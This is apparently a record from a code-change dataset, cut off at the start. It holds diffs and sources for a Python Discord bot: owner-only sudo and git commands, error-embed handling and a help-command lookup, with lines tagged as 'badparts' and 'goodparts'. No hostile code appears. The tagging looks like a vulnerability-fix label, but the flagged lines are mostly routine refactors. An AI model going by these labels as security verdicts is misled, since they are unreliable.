__local_check(self, ctx):\n \"\"\"Only the owner can run any commands or groups in this cog.\"\"\"\n return await ctx.bot.is_owner(ctx.author)\n\n @neko.group(\n name='sudo',\n usage='|subcommand',\n brief='Commands and utilities only runnable by the bot owner.',\n hidden=True,\n invoke_without_command=True)\n async def command_grp(self, ctx):\n \"\"\"\n Run without any arguments to show a list of available commands.\n \"\"\"\n book = neko.PaginatedBook(title='Available commands',\n ctx=ctx)\n\n for command in self.command_grp.commands:\n book.add_line(command.name)\n\n await book.send()\n\n @command_grp.command(\n name='stop', aliases=['restart'],\n brief='Kills the event loop and shuts down the bot.')\n async def stop_bot(self, ctx):\n await ctx.send('Okay, will now logout.')\n await ctx.bot.logout()\n\n @command_grp.command(\n name='invite',\n brief='DM\\'s you a bot invite.'\n )\n async def invite(self, ctx):\n await ctx.author.send(ctx.bot.invite_url)\n\n @command_grp.command(\n name='load',\n brief='Loads a given extension into the bot.',\n usage='extension.qualified.name'\n )\n async def load(self, ctx, *, fqn):\n \"\"\"\n Loads the given extension name into the bot.\n\n WARNING! This will not run in an executor. If the extension loading\n process blocks, then the entire bot will block.\n \"\"\"\n start = time.time()\n ctx.bot.load_extension(fqn)\n delta = (time.time() - start) * 1e4\n\n await ctx.send(f'Loaded `{fqn}` successfully in {delta:.3}ms')\n\n @command_grp.command(\n name='unload',\n brief='Unloads a given extension from the bot (and any related cogs).',\n usage='extension.qualified.name|-c CogName'\n )\n async def unload(self, ctx, *, fqn):\n \"\"\"\n Unloads the given extension name from the bot.\n\n WARNING! This will not run in an executor. If the extension loading\n process blocks, then the entire bot will block.\n\n Note. If you wish to remove a single cog instead... pass the fqn\n in with the -c flag.\n \"\"\"\n if fqn.startswith('-c'):\n fqn = fqn[2:].lstrip()\n if fqn not in ctx.bot.cogs:\n raise ModuleNotFoundError(\n 'Cog was not loaded to begin with.'\n )\n func = ctx.bot.remove_cog\n else:\n if fqn not in ctx.bot.extensions:\n raise ModuleNotFoundError(\n 'Extension was not loaded to begin with.'\n )\n func = ctx.bot.unload_extension\n\n start = time.time()\n func(fqn)\n delta = (time.time() - start) * 1e4\n\n await ctx.send(f'Unloaded `{fqn}` successfully via '\n f'{func.__name__} in {delta:.3}ms')\n\n\n\n @command_grp.group(\n name='git',\n brief='Various version control tasks.'\n )\n async def git_group(self, ctx):\n pass\n\n @git_group.command(\n name='pull',\n brief='Executes `git pull`.'\n )\n async def git_pull(self, ctx):\n await _git_stash_and_do(ctx, 'pull')\n\n @git_group.command(\n name='checkout',\n brief='Executes `git checkout`.'\n )\n async def git_checkout(self, ctx, *, branch: str):\n await _git_stash_and_do(ctx, 'checkout', branch)\n\n @git_group.command(\n name='log',\n brief='Executes `git log`.'\n )\n async def git_log(self, ctx):\n \"\"\"Shows the git log. Suppresses any email information.\"\"\"\n await _git_stash_and_do(\n ctx,\n 'log',\n '-n',\n '30',\n '--oneline',\n dont_stash=True\n )\n\n\nsetup = OwnerOnlyCog.mksetup()\n"}, "/neko/command.py": {"changes": [{"diff": "\n \n from neko import excuses, book, strings\n \n-__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group']\n+__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group', 'NekoCommandError']\n \n \n class CommandMixin(abc.ABC):\n \"\"\"Functionality to be inherited by a command or group type.\"\"\"\n \n+ @property\n+ def qualified_aliases(self):\n+ \"\"\"\n+ Gets a list of qualified alias names.\n+ \"\"\"\n+ fq_names = []\n+ # noinspection PyUnresolvedReferences\n+ for alias in self.aliases:\n+ # noinspection PyUnresolvedReferences\n+ fq_names.append(f'{self.full_parent_name} {alias}'.strip())\n+ return fq_names\n+\n+ @property\n+ def qualified_names(self):\n+ \"\"\"\n+ Gets a list of the qualified command name and any qualified alias names.\n+ \"\"\"\n+ # noinspection PyUnresolvedReferences\n+ fq_names = [self.qualified_name]\n+ fq_names.extend(self.qualified_aliases)\n+ return fq_names\n+\n @staticmethod\n async def on_error(cog, ctx: commands.Context, error: BaseException):\n \"\"\"Handles any errors that may occur in a command.\"\"\"\n", "add": 23, "remove": 1, "filename": "/neko/command.py", "badparts": ["__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group']"], "goodparts": ["__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group', 'NekoCommandError']", " @property", " def qualified_aliases(self):", " \"\"\"", " Gets a list of qualified alias names.", " \"\"\"", " fq_names = []", " for alias in self.aliases:", " fq_names.append(f'{self.full_parent_name} {alias}'.strip())", " return fq_names", " @property", " def qualified_names(self):", " \"\"\"", " Gets a list of the qualified command name and any qualified alias names.", " \"\"\"", " fq_names = [self.qualified_name]", " fq_names.extend(self.qualified_aliases)", " return fq_names"]}, {"diff": "\n await ctx.message.add_reaction('\\N{THOUGHT BALLOON}')\n return\n \n- traceback.print_exception(type(error), error, error.__traceback__)\n error = error.__cause__ if error.__cause__ else error\n \n if isinstance(error, commands.CheckFailure):\n", "add": 0, "remove": 1, "filename": "/neko/command.py", "badparts": [" traceback.print_exception(type(error), error, error.__traceback__)"], "goodparts": []}, {"diff": "\n description=strings.capitalise(excuses.get_excuse()),\n color=0xffbf00 if isinstance(error, Warning) else 0xff0000\n )\n- error_description = strings.pascal_to_space(type(error).__name__)\n \n- cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))\n- error_description += f' in {cog}: {str(error)}'\n+ if isinstance(error, NekoCommandError):\n+ embed.set_footer(text=str(error))\n+ else:\n+ # We only show info like the cog name, etc if we are not a\n+ # neko command error. Likewise, we only dump a traceback if the\n+ # latter holds.\n+ error_description = strings.pascal_to_space(type(error).__name__)\n \n- embed.set_footer(text=error_description)\n+ cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))\n+ error_description += f' in {cog}: {str(error)}'\n+ embed.set_footer(text=error_description)\n+ traceback.print_exception(type(error), error, error.__traceback__)\n \n await ctx.send(embed=embed)\n \n- traceback.print_exception(type(error), error, error.__traceback__)\n-\n \n class NekoCommand(commands.Command, CommandMixin):\n \"\"\"\n", "add": 11, "remove": 6, "filename": "/neko/command.py", "badparts": [" error_description = strings.pascal_to_space(type(error).__name__)", " cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))", " error_description += f' in {cog}: {str(error)}'", " embed.set_footer(text=error_description)", " traceback.print_exception(type(error), error, error.__traceback__)"], "goodparts": [" if isinstance(error, NekoCommandError):", " embed.set_footer(text=str(error))", " else:", " error_description = strings.pascal_to_space(type(error).__name__)", " cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))", " error_description += f' in {cog}: {str(error)}'", " embed.set_footer(text=error_description)", " traceback.print_exception(type(error), error, error.__traceback__)"]}, {"diff": "\n A list of predicates that verifies if the command could be executed\n with the given :class:`.Context` as the sole parameter. If an exception\n is necessary to be thrown to signal failure, then one derived from\n- :exc:`.CommandError` should be used. Note that if the checks fail then\n- :exc:`.CheckFailure` exception is raised to the\n+ :exc:`.CommandError` should be used. Note that if the checks fail\n+ then :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n description: str\n The message prefixed into the default help command.\n", "add": 2, "remove": 2, "filename": "/neko/command.py", "badparts": [" :exc:`.CommandError` should be used. Note that if the checks fail then", " :exc:`.CheckFailure` exception is raised to the"], "goodparts": [" :exc:`.CommandError` should be used. Note that if the checks fail", " then :exc:`.CheckFailure` exception is raised to the"]}, {"diff": "\n with the given :class:`.Context` as the sole parameter. If an\n exception\n is necessary to be thrown to signal failure, then one derived from\n- :exc:`.CommandError` should be used. Note that if the checks fail\n+ :exc:`.NekoCommandError` should be used. Note that if the checks fail\n then\n :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n", "add": 1, "remove": 1, "filename": "/neko/command.py", "badparts": [" :exc:`.CommandError` should be used. Note that if the checks fail"], "goodparts": [" :exc:`.NekoCommandError` should be used. Note that if the checks fail"]}], "source": "\n\"\"\" Utilities for commands. These inject various pieces of functionality into the existing discord.py stuff. \"\"\" import abc import traceback import typing import discord.ext.commands as commands from neko import excuses, book, strings __all__=['NekoCommand', 'NekoGroup', 'command', 'group'] class CommandMixin(abc.ABC): \"\"\"Functionality to be inherited by a command or group type.\"\"\" @staticmethod async def on_error(cog, ctx: commands.Context, error: BaseException): \"\"\"Handles any errors that may occur in a command.\"\"\" if isinstance(error, commands.MissingRequiredArgument): await ctx.message.add_reaction('\\N{THOUGHT BALLOON}') return traceback.print_exception(type(error), error, error.__traceback__) error=error.__cause__ if error.__cause__ else error if isinstance(error, commands.CheckFailure): return embed=book.Page( title='Whoops! Something went wrong!', description=strings.capitalise(excuses.get_excuse()), color=0xffbf00 if isinstance(error, Warning) else 0xff0000 ) error_description=strings.pascal_to_space(type(error).__name__) cog=strings.pascal_to_space(getattr(cog, 'name', str(cog))) error_description +=f' in{cog}:{str(error)}' embed.set_footer(text=error_description) await ctx.send(embed=embed) traceback.print_exception(type(error), error, error.__traceback__) class NekoCommand(commands.Command, CommandMixin): \"\"\" Implementation of a command. \"\"\" pass class NekoGroup(commands.Group, CommandMixin, commands.GroupMixin): \"\"\" Implementation of a command group. \"\"\" def command(self, **kwargs): kwargs.setdefault('cls', NekoCommand) return super().command(**kwargs) def group(self, **kwargs): kwargs.setdefault('cls', NekoGroup) return super().command(**kwargs) @typing.overload def command(*, name: typing.Optional[str]=None, aliases: typing.Optional[typing.List[str]]=None, help: typing.Optional[str]=None, brief: typing.Optional[str]=None, usage: typing.Optional[str]=None, hidden: typing.Optional[bool]=False, enabled: typing.Optional[bool]=True, parent: typing.Optional[commands.Command]=None, checks: typing.Optional[typing.List[typing.Callable]]=None, description: typing.Optional[str]=None, rest_is_raw: typing.Optional[bool]=False, ignore_extra: typing.Optional[bool]=True) \\ -> typing.Callable[[typing.Any], commands.Command]: pass def command(**kwargs) -> typing.Callable[[typing.Any], commands.Command]: \"\"\" Decorates a coroutine to make it into a command. name: str The name of the command. callback: coroutine The coroutine that is executed when the command is called. help: str The long help text for the command. brief: str The short help text for the command. If this is not specified then the first line of the long help text is used instead. usage: str A replacement for arguments in the default help text. aliases: list The list of aliases the command can be invoked under. enabled: bool A boolean that indicates if the command is currently enabled. If the command is invoked while it is disabled, then :exc:`.DisabledCommand` is raised to the:func:`.on_command_error` event. Defaults to ``True``. parent: Optional[command] The parent command that this command belongs to. ``None`` is there isn't one. checks A list of predicates that verifies if the command could be executed with the given:class:`.Context` as the sole parameter. If an exception is necessary to be thrown to signal failure, then one derived from :exc:`.CommandError` should be used. Note that if the checks fail then :exc:`.CheckFailure` exception is raised to the :func:`.on_command_error` event. description: str The message prefixed into the default help command. hidden: bool If ``True``\\, the default help command does not show this in the help output. rest_is_raw: bool If ``False`` and a keyword-only argument is provided then the keyword only argument is stripped and handled as if it was a regular argument that handles:exc:`.MissingRequiredArgument` and default values in a regular matter rather than passing the rest completely raw. If ``True`` then the keyword-only argument will pass in the rest of the arguments in a completely raw matter. Defaults to ``False``. ignore_extra: bool If ``True``\\, ignores extraneous strings passed to a command if all its requirements are met(e.g. ``?foo a b c`` when only expecting ``a`` and ``b``). Otherwise:func:`.on_command_error` and local error handlers are called with:exc:`.TooManyArguments`. Defaults to ``True``. \"\"\" kwargs.setdefault('cls', NekoCommand) return commands.command(**kwargs) @typing.overload def group(*, name: typing.Optional[str]=None, aliases: typing.Optional[typing.List[str]]=None, help: typing.Optional[str]=None, brief: typing.Optional[str]=None, usage: typing.Optional[str]=None, hidden: typing.Optional[bool]=False, enabled: typing.Optional[bool]=True, parent: typing.Optional[commands.Command]=None, checks: typing.Optional[typing.List[typing.Callable]]=None, description: typing.Optional[str]=None, rest_is_raw: typing.Optional[bool]=False, ignore_extra: typing.Optional[bool]=True, all_commands: typing.Optional[typing.Dict]=None, invoke_without_command: typing.Optional[bool]=False) \\ -> typing.Callable[[typing.Any], commands.Group]: pass def group(**kwargs) -> typing.Callable[[typing.Any], commands.Group]: \"\"\" Decorates a coroutine to make it into a command group name: str The name of the command. callback: coroutine The coroutine that is executed when the command is called. help: str The long help text for the command. brief: str The short help text for the command. If this is not specified then the first line of the long help text is used instead. usage: str A replacement for arguments in the default help text. aliases: list The list of aliases the command can be invoked under. enabled: bool A boolean that indicates if the command is currently enabled. If the command is invoked while it is disabled, then :exc:`.DisabledCommand` is raised to the:func:`.on_command_error` event. Defaults to ``True``. parent: Optional[command] The parent command that this command belongs to. ``None`` is there isn't one. checks A list of predicates that verifies if the command could be executed with the given:class:`.Context` as the sole parameter. If an exception is necessary to be thrown to signal failure, then one derived from :exc:`.CommandError` should be used. Note that if the checks fail then :exc:`.CheckFailure` exception is raised to the :func:`.on_command_error` event. description: str The message prefixed into the default help command. hidden: bool If ``True``\\, the default help command does not show this in the help output. rest_is_raw: bool If ``False`` and a keyword-only argument is provided then the keyword only argument is stripped and handled as if it was a regular argument that handles:exc:`.MissingRequiredArgument` and default values in a regular matter rather than passing the rest completely raw. If ``True`` then the keyword-only argument will pass in the rest of the arguments in a completely raw matter. Defaults to ``False``. ignore_extra: bool If ``True``\\, ignores extraneous strings passed to a command if all its requirements are met(e.g. ``?foo a b c`` when only expecting ``a`` and ``b``). Otherwise:func:`.on_command_error` and local error handlers are called with:exc:`.TooManyArguments`. Defaults to ``True``. all_commands: dict A mapping of command name to:class:`.Command` or superclass objects. invoke_without_command: bool Indicates if the group callback should begin parsing and invocation only if no subcommand was found. Useful for making it an error handling function to tell the user that no subcommand was found or to have different functionality in case no subcommand was found. If this is ``False``, then the group callback will always be invoked first. This means that the checks and the parsing dictated by its parameters will be executed. Defaults to ``False``. \"\"\" kwargs.setdefault('cls', NekoGroup) return commands.command(**kwargs) ", "sourceWithComments": "\"\"\"\nUtilities for commands. These inject various pieces of functionality into the\nexisting discord.py stuff.\n\"\"\"\nimport abc\nimport traceback\nimport typing\n\nimport discord.ext.commands as commands\n\nfrom neko import excuses, book, strings\n\n__all__ = ['NekoCommand', 'NekoGroup', 'command', 'group']\n\n\nclass CommandMixin(abc.ABC):\n \"\"\"Functionality to be inherited by a command or group type.\"\"\"\n\n @staticmethod\n async def on_error(cog, ctx: commands.Context, error: BaseException):\n \"\"\"Handles any errors that may occur in a command.\"\"\"\n\n # If there is a missing required argument, react with a thought bubble\n # but do nothing else.\n if isinstance(error, commands.MissingRequiredArgument):\n await ctx.message.add_reaction('\\N{THOUGHT BALLOON}')\n return\n\n traceback.print_exception(type(error), error, error.__traceback__)\n error = error.__cause__ if error.__cause__ else error\n\n if isinstance(error, commands.CheckFailure):\n return\n\n embed = book.Page(\n title='Whoops! Something went wrong!',\n description=strings.capitalise(excuses.get_excuse()),\n color=0xffbf00 if isinstance(error, Warning) else 0xff0000\n )\n error_description = strings.pascal_to_space(type(error).__name__)\n\n cog = strings.pascal_to_space(getattr(cog, 'name', str(cog)))\n error_description += f' in {cog}: {str(error)}'\n\n embed.set_footer(text=error_description)\n\n await ctx.send(embed=embed)\n\n traceback.print_exception(type(error), error, error.__traceback__)\n\n\nclass NekoCommand(commands.Command, CommandMixin):\n \"\"\"\n Implementation of a command.\n \"\"\"\n pass\n\n\nclass NekoGroup(commands.Group, CommandMixin, commands.GroupMixin):\n \"\"\"\n Implementation of a command group.\n \"\"\"\n\n def command(self, **kwargs):\n kwargs.setdefault('cls', NekoCommand)\n return super().command(**kwargs)\n\n def group(self, **kwargs):\n kwargs.setdefault('cls', NekoGroup)\n return super().command(**kwargs)\n\n\n# noinspection PyShadowingBuiltins\n@typing.overload\ndef command(*,\n name: typing.Optional[str] = None,\n aliases: typing.Optional[typing.List[str]] = None,\n help: typing.Optional[str] = None,\n brief: typing.Optional[str] = None,\n usage: typing.Optional[str] = None,\n hidden: typing.Optional[bool] = False,\n enabled: typing.Optional[bool] = True,\n parent: typing.Optional[commands.Command] = None,\n checks: typing.Optional[typing.List[typing.Callable]] = None,\n description: typing.Optional[str] = None,\n rest_is_raw: typing.Optional[bool] = False,\n ignore_extra: typing.Optional[bool] = True) \\\n -> typing.Callable[[typing.Any], commands.Command]:\n pass\n\n\ndef command(**kwargs) -> typing.Callable[[typing.Any], commands.Command]:\n \"\"\"\n Decorates a coroutine to make it into a command.\n\n name: str\n The name of the command.\n callback: coroutine\n The coroutine that is executed when the command is called.\n help: str\n The long help text for the command.\n brief: str\n The short help text for the command. If this is not specified\n then the first line of the long help text is used instead.\n usage: str\n A replacement for arguments in the default help text.\n aliases: list\n The list of aliases the command can be invoked under.\n enabled: bool\n A boolean that indicates if the command is currently enabled.\n If the command is invoked while it is disabled, then\n :exc:`.DisabledCommand` is raised to the :func:`.on_command_error`\n event. Defaults to ``True``.\n parent: Optional[command]\n The parent command that this command belongs to. ``None`` is there\n isn't one.\n checks\n A list of predicates that verifies if the command could be executed\n with the given :class:`.Context` as the sole parameter. If an exception\n is necessary to be thrown to signal failure, then one derived from\n :exc:`.CommandError` should be used. Note that if the checks fail then\n :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n description: str\n The message prefixed into the default help command.\n hidden: bool\n If ``True``\\, the default help command does not show this in the\n help output.\n rest_is_raw: bool\n If ``False`` and a keyword-only argument is provided then the keyword\n only argument is stripped and handled as if it was a regular argument\n that handles :exc:`.MissingRequiredArgument` and default values in a\n regular matter rather than passing the rest completely raw. If ``True``\n then the keyword-only argument will pass in the rest of the arguments\n in a completely raw matter. Defaults to ``False``.\n ignore_extra: bool\n If ``True``\\, ignores extraneous strings passed to a command if all its\n requirements are met (e.g. ``?foo a b c`` when only expecting ``a``\n and ``b``). Otherwise :func:`.on_command_error` and local error handlers\n are called with :exc:`.TooManyArguments`. Defaults to ``True``.\n \"\"\"\n kwargs.setdefault('cls', NekoCommand)\n return commands.command(**kwargs)\n\n\n# noinspection PyShadowingBuiltins\n@typing.overload\ndef group(*,\n name: typing.Optional[str] = None,\n aliases: typing.Optional[typing.List[str]] = None,\n help: typing.Optional[str] = None,\n brief: typing.Optional[str] = None,\n usage: typing.Optional[str] = None,\n hidden: typing.Optional[bool] = False,\n enabled: typing.Optional[bool] = True,\n parent: typing.Optional[commands.Command] = None,\n checks: typing.Optional[typing.List[typing.Callable]] = None,\n description: typing.Optional[str] = None,\n rest_is_raw: typing.Optional[bool] = False,\n ignore_extra: typing.Optional[bool] = True,\n all_commands: typing.Optional[typing.Dict] = None,\n invoke_without_command: typing.Optional[bool] = False) \\\n -> typing.Callable[[typing.Any], commands.Group]:\n pass\n\n\ndef group(**kwargs) -> typing.Callable[[typing.Any], commands.Group]:\n \"\"\"\n Decorates a coroutine to make it into a command group\n\n name: str\n The name of the command.\n callback: coroutine\n The coroutine that is executed when the command is called.\n help: str\n The long help text for the command.\n brief: str\n The short help text for the command. If this is not specified\n then the first line of the long help text is used instead.\n usage: str\n A replacement for arguments in the default help text.\n aliases: list\n The list of aliases the command can be invoked under.\n enabled: bool\n A boolean that indicates if the command is currently enabled.\n If the command is invoked while it is disabled, then\n :exc:`.DisabledCommand` is raised to the :func:`.on_command_error`\n event. Defaults to ``True``.\n parent: Optional[command]\n The parent command that this command belongs to. ``None`` is there\n isn't one.\n checks\n A list of predicates that verifies if the command could be executed\n with the given :class:`.Context` as the sole parameter. If an\n exception\n is necessary to be thrown to signal failure, then one derived from\n :exc:`.CommandError` should be used. Note that if the checks fail\n then\n :exc:`.CheckFailure` exception is raised to the\n :func:`.on_command_error` event.\n description: str\n The message prefixed into the default help command.\n hidden: bool\n If ``True``\\, the default help command does not show this in the\n help output.\n rest_is_raw: bool\n If ``False`` and a keyword-only argument is provided then the\n keyword\n only argument is stripped and handled as if it was a regular\n argument\n that handles :exc:`.MissingRequiredArgument` and default values in a\n regular matter rather than passing the rest completely raw. If\n ``True``\n then the keyword-only argument will pass in the rest of the\n arguments\n in a completely raw matter. Defaults to ``False``.\n ignore_extra: bool\n If ``True``\\, ignores extraneous strings passed to a command if\n all its\n requirements are met (e.g. ``?foo a b c`` when only expecting ``a``\n and ``b``). Otherwise :func:`.on_command_error` and local error\n handlers\n are called with :exc:`.TooManyArguments`. Defaults to ``True``.\n all_commands: dict\n A mapping of command name to :class:`.Command` or superclass\n objects.\n invoke_without_command: bool\n Indicates if the group callback should begin parsing and\n invocation only if no subcommand was found. Useful for\n making it an error handling function to tell the user that\n no subcommand was found or to have different functionality\n in case no subcommand was found. If this is ``False``, then\n the group callback will always be invoked first. This means\n that the checks and the parsing dictated by its parameters\n will be executed. Defaults to ``False``.\n \"\"\"\n kwargs.setdefault('cls', NekoGroup)\n return commands.command(**kwargs)\n"}, "/cogs/botbits.py": {"changes": [{"diff": "\n # correct page number.\n offset = len(bk)\n \n+ # for i, cmd in enumerate(cmds):\n+ # bk += await self.gen_spec_page(ctx, cmd)\n+ # # We add 1, as w\n+ # command_to_page[cmd.qualified_name] = i + offset\n+ #\n+ # # Also register any aliases.\n+ # for alias in cmd.aliases:\n+ # # This is the only way to get the fully qualified alias name.\n+ # fq_alias = f'{cmd.full_parent_name} {alias}'.strip()\n+ # command_to_page[fq_alias] = i + offset\n+\n+ # This is a lot lighter weight.\n+ page_index = None\n for i, cmd in enumerate(cmds):\n bk += await self.gen_spec_page(ctx, cmd)\n- # We add 1, as w\n- command_to_page[cmd.qualified_name] = i + offset\n+\n+ if page_index is None and query in cmd.qualified_names:\n+ # I assume checking equality of commands is slower\n+ # than checking for is None each iteration.\n+ page_index = i + offset\n \n # Set the page\n- try:\n- page_index = command_to_page[query]\n- except KeyError:\n+ if page_index is None and query:\n await ctx.send(f'I could not find a command called {query}!')\n else:\n+ if page_index is None:\n+ page_index = 0\n+\n bk.index = page_index\n await bk.send()\n \n", "add": 22, "remove": 5, "filename": "/cogs/botbits.py", "badparts": [" command_to_page[cmd.qualified_name] = i + offset", " try:", " page_index = command_to_page[query]", " except KeyError:"], "goodparts": [" page_index = None", " if page_index is None and query in cmd.qualified_names:", " page_index = i + offset", " if page_index is None and query:", " if page_index is None:", " page_index = 0"]}], "source": "\n\"\"\" Implementation of a help command. \"\"\" import asyncio import inspect import random import discord import neko __all__=['HelpCog', 'ActivityChangerCog', 'setup'] default_color=0x1E90FF class HelpCog(neko.Cog): \"\"\"Provides the inner methods with access to bot directly.\"\"\" permissions=(neko.Permissions.SEND_MESSAGES | neko.Permissions.ADD_REACTIONS | neko.Permissions.READ_MESSAGES | neko.Permissions.MANAGE_MESSAGES) def __init__(self, bot: neko.NekoBot): \"\"\" Initialises the cog. :param bot: the bot. \"\"\" self.bot=bot @neko.command( name='rtfm', brief='Shows help for the available bot commands.', aliases=['man', 'help'], usage='|command|group command') async def help_command(self, ctx: neko.Context, *, query=None): \"\"\" Shows a set of help pages outlining the available commands, and details on how to operate each of them. If a command name is passed as a parameter(`help command`) then the parameter is searched for as a command name and that page is opened. \"\"\" bk=neko.Book(ctx) command_to_page={} bk +=await self.gen_front_page(ctx) command_to_page[None]=0 cmds=sorted(set(self.bot.walk_commands()), key=lambda c: c.qualified_name) offset=len(bk) for i, cmd in enumerate(cmds): bk +=await self.gen_spec_page(ctx, cmd) command_to_page[cmd.qualified_name]=i +offset try: page_index=command_to_page[query] except KeyError: await ctx.send(f'I could not find a command called{query}!') else: bk.index=page_index await bk.send() async def gen_front_page(self, ctx: neko.Context) -> neko.Page: \"\"\" Generates an about page. This is the first page of the help pagination. :param ctx: the command context. \"\"\" desc=f'{neko.__copyright__} under the{neko.__license__} license.\\n\\n' doc_str=inspect.getdoc(neko) doc_str=inspect.cleandoc(doc_str if doc_str else '') desc +=neko.remove_single_lines(doc_str) page=neko.Page( title=f'{neko.__title__} v{neko.__version__}', description=desc, color=default_color, url=neko.__repository__ ) page.set_thumbnail(url=self.bot.user.avatar_url) page.add_field( name='Repository', value=neko.__repository__ ) is_bot_owner=await self.bot.is_owner(ctx.author) cmds=sorted(self.bot.commands, key=lambda c: c.name) cmds=[self.format_command_name(cmd) for cmd in cmds if is_bot_owner or not cmd.hidden] page.add_field( name='Available commands', value=', '.join(cmds), inline=False ) return page async def gen_spec_page(self, ctx: neko.Context, cmd: neko.NekoCommand) -> neko.Page: \"\"\" Given a context and a command, generate a help page entry for the command. :param ctx: the context to use to determine if we can run the command here. :param cmd: the command to generate the help page for. :return: a book page. \"\"\" pfx=self.bot.command_prefix fqn=cmd.qualified_name brief=f'**{fqn}**\\n{cmd.brief if cmd.brief else \"\"}' doc_str=neko.remove_single_lines(cmd.help) usages=cmd.usage.split('|') if cmd.usage else '' usages=map(lambda u: f'\u2022{pfx}{fqn}{u}', usages) usages='\\n'.join(sorted(usages)) aliases=sorted(cmd.aliases) if cmd.parent: super_command=self.format_command_name(cmd.parent) else: super_command=None can_run=await cmd.can_run(ctx) if isinstance(cmd, neko.GroupMixin): def sub_cmd_map(c): c=self.format_command_name(c) c=f'\u2022{c}' return c sub_commands=map(sub_cmd_map, set(cmd.walk_commands())) sub_commands=sorted(sub_commands) else: sub_commands=[] if getattr(cmd, 'enabled', False) and can_run: color=default_color elif not can_run: color=0 else: color=0xFF0000 page=neko.Page( title=f'Command documentation', description=brief, color=color ) if doc_str: page.add_field( name='Description', value=doc_str, inline=False ) if usages: page.add_field( name='Usage', value=usages, inline=False ) if aliases: page.add_field( name='Aliases', value=', '.join(aliases) ) if sub_commands: page.add_field( name='Child commands', value='\\n'.join(sub_commands) ) if super_command: page.add_field( name='Parent command', value=super_command ) if not can_run and cmd.enabled: page.set_footer( text='You do not hve permission to run the command here.' ) elif not cmd.enabled: page.set_footer( text='This command has been disabled globally.' ) return page @staticmethod def format_command_name(cmd: neko.NekoCommand, *, is_full=False) -> str: \"\"\" Formats the given command using it's name, in markdown. If the command is disabled, it is crossed out. If the command is a group, it is proceeded with an asterisk. This is only done if the command has at least one sub-command present. If the command is hidden, it is displayed in italics. :param cmd: the command to format. :param is_full: defaults to false. If true, the parent command is prepended to the returned string first. \"\"\" name=cmd.name if not cmd.enabled: name=f'~~{name}~~' if cmd.hidden: name=f'*{name}*' if isinstance(cmd, neko.GroupMixin) and getattr(cmd, 'commands'): name=f'{name}\\*' if is_full: name=f'{cmd.full_parent_name}{name}'.strip() return name class ActivityChangerCog(neko.Cog): \"\"\" Handles updating the game every-so-often to a new message. \"\"\" def __init__(self, bot: neko.NekoBot): self.bot=bot self.running_lock=asyncio.Lock() def next_activity(self): \"\"\"Acts as an iterator for getting the next activity-change coro.\"\"\" command_choice=list( filter( lambda c: not c.qualified_name.startswith('sudo'), self.bot.walk_commands() ) ) command=random.choice(command_choice) return self.bot.change_presence( game=discord.Game( name=f'for{self.bot.command_prefix}{command.qualified_name}', type=3 ) ) async def activity_update_loop(self): \"\"\"Handles changing the status every 20 seconds.\"\"\" with await self.running_lock: while True: try: await self.next_activity() except BaseException: pass else: await asyncio.sleep(20) async def on_ready(self): \"\"\"On ready, if we are not already running a loop, invoke a new one.\"\"\" await asyncio.sleep(2) await self.bot.change_presence( game=discord.Game(name='READY!'), status=discord.Status ) await asyncio.sleep(10) if not self.running_lock.locked(): asyncio.ensure_future(self.activity_update_loop()) async def on_connect(self): \"\"\"When we connect to Discord, show the game as listening to Gateway\"\"\" try: gateway=self.bot.ws._trace[0] except IndexError: gateway='the gateway' await self.bot.change_presence( game=discord.Game(name=gateway, type=2), status=discord.Status.dnd ) def setup(bot): \"\"\"Adds the help cog to the bot.\"\"\" HelpCog.mksetup()(bot) ActivityChangerCog.mksetup()(bot) ", "sourceWithComments": "\"\"\"\nImplementation of a help command.\n\"\"\"\nimport asyncio\nimport inspect\nimport random\n\nimport discord\n\nimport neko\n\n__all__ = ['HelpCog', 'ActivityChangerCog', 'setup']\n\n# Dodger blue.\ndefault_color = 0x1E90FF\n\n\nclass HelpCog(neko.Cog):\n \"\"\"Provides the inner methods with access to bot directly.\"\"\"\n\n permissions = (neko.Permissions.SEND_MESSAGES |\n neko.Permissions.ADD_REACTIONS |\n neko.Permissions.READ_MESSAGES |\n neko.Permissions.MANAGE_MESSAGES)\n\n def __init__(self, bot: neko.NekoBot):\n \"\"\"\n Initialises the cog.\n :param bot: the bot.\n \"\"\"\n self.bot = bot\n\n @neko.command(\n name='rtfm',\n brief='Shows help for the available bot commands.',\n aliases=['man', 'help'],\n usage='|command|group command')\n async def help_command(self, ctx: neko.Context, *, query=None):\n \"\"\"\n Shows a set of help pages outlining the available commands, and\n details on how to operate each of them.\n\n If a command name is passed as a parameter (`help command`) then the\n parameter is searched for as a command name and that page is opened.\n \"\"\"\n # TODO: maybe try to cache this! It's a fair amount of work each time.\n\n # Generates the book\n bk = neko.Book(ctx)\n\n # Maps commands to pages, so we can just jump to the page\n command_to_page = {}\n\n bk += await self.gen_front_page(ctx)\n command_to_page[None] = 0\n\n # Walk commands\n cmds = sorted(set(self.bot.walk_commands()),\n key=lambda c: c.qualified_name)\n\n # We offset each index in the enumeration by this to get the\n # correct page number.\n offset = len(bk)\n\n for i, cmd in enumerate(cmds):\n bk += await self.gen_spec_page(ctx, cmd)\n # We add 1, as w\n command_to_page[cmd.qualified_name] = i + offset\n\n # Set the page\n try:\n page_index = command_to_page[query]\n except KeyError:\n await ctx.send(f'I could not find a command called {query}!')\n else:\n bk.index = page_index\n await bk.send()\n\n async def gen_front_page(self, ctx: neko.Context) -> neko.Page:\n \"\"\"\n Generates an about page. This is the first page of the help\n pagination.\n\n :param ctx: the command context.\n \"\"\"\n\n desc = f'{neko.__copyright__} under the {neko.__license__} license.\\n\\n'\n\n # Gets the docstring for the root module if there is one.\n doc_str = inspect.getdoc(neko)\n doc_str = inspect.cleandoc(doc_str if doc_str else '')\n desc += neko.remove_single_lines(doc_str)\n\n page = neko.Page(\n title=f'{neko.__title__} v{neko.__version__}',\n description=desc,\n color=default_color,\n url=neko.__repository__\n )\n\n page.set_thumbnail(url=self.bot.user.avatar_url)\n\n page.add_field(\n name='Repository',\n value=neko.__repository__\n )\n\n # If we are the bot owner, we do not hide any 